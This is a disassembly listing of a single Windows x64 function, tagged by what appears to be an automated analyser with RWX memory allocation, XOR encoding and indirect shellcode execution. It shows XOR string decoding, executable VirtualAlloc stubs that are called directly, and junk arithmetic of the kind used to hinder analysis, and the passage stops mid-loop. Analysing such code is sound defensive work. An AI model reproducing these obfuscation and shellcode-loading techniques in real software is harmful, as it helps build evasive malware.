Function at 0x14000d200
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x15e0]
mov eax, 0x16e0
call fcn.14002b680
sub rsp, rax
movaps xmmword [rsp + 0x16d0], xmm6
movaps xmmword [rsp + 0x16c0], xmm7
movaps xmmword [rsp + 0x16b0], xmm8
movaps xmmword [rsp + 0x16a0], xmm9
movaps xmmword [rsp + 0x1690], xmm10
movaps xmmword [rsp + 0x1680], xmm11
movaps xmmword [rsp + 0x1670], xmm12
movaps xmmword [rsp + 0x1660], xmm13
movaps xmmword [rsp + 0x1650], xmm14
movaps xmmword [rsp + 0x1640], xmm15
mov rax, qword [0x140038040]
xor rax, rsp
mov qword [rbp + 0x1530], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
lea rax, [rbp + 0x1608]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x168], rcx
mov qword [rbp + 0x170], rax
mov rax, qword [rax]
xor rax, rcx
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0xd8], xmm0
lea r15, [rbp + 0x1608]
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xd8], rcx
mov qword [r15], r12
mov edi, dword [rbx + 0x10]
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000d308
mov r8, qword [rbx]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.14002a99c
mov rsi, rax
cmp qword [rbx + 0x18], 0xf
jbe 0x14000d34b
mov rbx, qword [rbx]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
lea r9d, [rdi + 1]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rsi
lea rcx, [rbp + 0xb0]
call fcn.14001e460
mov rcx, rsi
call fcn.14002a640
nop
mov qword [rbp + 0xd8], r12
mov qword [r15], r12
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x10]
call fcn.14000a3d0
nop
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.140003490
nop
lea rcx, [rbp - 0x10]
call fcn.1400026f0
nop
lea rcx, [rbp + 0xb0]
call fcn.1400026f0
movups xmm0, xmmword [str.2_9:_r]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x14002f4a0]
movups xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [0x14002f4b0]
movups xmmword [rbp + 0x140], xmm0
movsd xmm0, qword [0x14002f4c0]
movsd qword [rbp + 0x150], xmm0
mov eax, dword [0x14002f4c8]
mov dword [rbp + 0x158], eax
movzx eax, word [0x14002f4cc]
mov word [rbp + 0x15c], ax
movzx eax, byte [0x14002f4ce]
mov byte [rbp + 0x15e], al
mov r9d, r12d
movdqa xmm9, xmmword [0x14002fa10]
movdqa xmm15, xmmword [0x14002fa50]
movdqa xmm13, xmmword [0x14002fa80]
movdqa xmm14, xmmword [0x14002fa00]
movdqa xmm10, xmmword [0x14002fa70]
movdqa xmm11, xmmword [0x14002fa30]
movdqa xmm12, xmmword [0x14002f9e0]
mov r15d, dword [0x140038090]
cmp r15d, 2
jl 0x14000d611
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp + 0x120]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14000d490
cmp r9d, 0x3f
jge 0x14000d66f
movsxd rax, r9d
lea r10, [rbp + 0x120]
add r10, rax
nop
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xd7720f35
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x55
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x14000d620
lea rax, [rbp + 0x120]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov r14d, 3
lea rbx, [0x140020300]
lea rdi, [0x140000000]
mov rax, qword [0x140039ea0]
test rax, rax
je 0x14000d6e9
nop
cmp rax, rbx
je 0x14000d6d6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39ea0]
test rax, rax
jne 0x14000d6c0
jmp 0x14000d6e9
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39860]
test r8, r8
jne 0x14000d7cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000d712
mov r8, r12
jmp 0x14000d7ae
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d720
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039850]
mov qword [rdi + rax*8 + 0x39ea0], rbx
mov qword [rdi + rax*8 + 0x39860], r8
inc rax
mov qword [0x140039850], rax
lea rdx, [rsp + 0x50]
lea rcx, [0x14000a030]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001e080
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x14002fa40]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
xorps xmm7, xmm7
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x40]
call fcn.140001650
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14001fb40
lea rcx, [rbp + 0xf0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.14001fb60
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x60]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fb90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x60]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fbc0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x60]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fbf0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x60]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fc20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x60]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fc50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x60]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024f0
movsd xmm8, qword [0x14002f990]
movsd xmm6, qword [0x14002f988]
test al, al
jns 0x14000dd63
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001e760
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002330
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rcx, [rbp + 0xd8]
call fcn.14001e130
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.14001fd00
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002440
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.14001fd60
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000dc56
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000dc65
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000dce5
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000dd05
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000dc80
sub rdi, 1
jne 0x14000dc70
lea rcx, [rbp + 0xd8]
call fcn.14001e0d0
nop
lea rcx, [rbp + 0x120]
call fcn.14001e700
sub rsi, 1
jne 0x14000da40
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024f0
test al, al
js 0x14000da30
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001dfe0
mov dword [rsp + 0x30], 0x96
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
lea r13, [0x140020330]
mov rax, qword [0x140039b80]
test rax, rax
je 0x14000ddda
cmp rax, r13
je 0x14000ddc7
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39b80]
test rax, rax
jne 0x14000ddb1
jmp 0x14000ddda
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b4c0]
test r8, r8
jne 0x14000debf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000de03
mov r8, r12
jmp 0x14000de9e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000de10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a1c0]
mov qword [rdi + rax*8 + 0x39b80], r13
mov qword [rdi + rax*8 + 0x3b4c0], r8
inc rax
mov qword [0x14003a1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
movups xmm0, xmmword [str.wwvyA]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x14002f690]
movups xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [0x14002f6a0]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x14002f6b0]
movups xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [0x14002f6c0]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x14002f6d0]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x14002f6e0]
movups xmmword [rbp + 0x90], xmm0
movsd xmm0, qword [0x14002f6f0]
movsd qword [rbp + 0xa0], xmm0
movzx eax, byte [0x14002f6f8]
mov byte [rbp + 0xa8], al
mov r9d, r12d
cmp r15d, 2
jl 0x14000e101
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp + 0x30]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x14000df80
cmp r9d, 0x79
jge 0x14000e15f
movsxd rax, r9d
lea r10, [rbp + 0x30]
add r10, rax
nop dword [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xd7720f35
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x55
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x14000e110
movups xmm0, xmmword [str.2___]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x14002f2f0]
movups xmm1, xmmword [0x14002f2e0]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
movzx eax, word [0x14002f338]
movups xmm0, xmmword [0x14002f310]
movups xmm1, xmmword [0x14002f300]
mov word [rbp - 0x18], ax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x50], xmm1
movzx eax, byte [0x14002f33a]
movsd xmm0, qword [0x14002f330]
movups xmm1, xmmword [0x14002f320]
mov byte [rbp - 0x16], al
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm1
mov r9d, r12d
cmp r15d, 2
jl 0x14000e361
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x80]
mov edx, dword [rsp + 0x40]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
pmuldq xmm3, xmm10
pmuldq xmm1, xmm10
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x14000e1e0
cmp r9d, 0x6b
jge 0x14000e3bf
movsxd rax, r9d
lea r10, [rbp - 0x80]
add r10, rax
nop dword [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xd7720f35
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x55
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x14000e370
lea r8, [rbp + 0x178]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140020360
nop
lea r8, [rbp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.14001f9e0
nop
mov rcx, rax
call fcn.14001e5c0
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
lea rbx, [0x140020300]
mov rax, qword [0x14003bb10]
test rax, rax
je 0x14000e459
nop
cmp rax, rbx
je 0x14000e446
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bb10]
test rax, rax
jne 0x14000e430
jmp 0x14000e459
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3ab40]
test r8, r8
jne 0x14000e53f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e482
mov r8, r12
jmp 0x14000e51e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
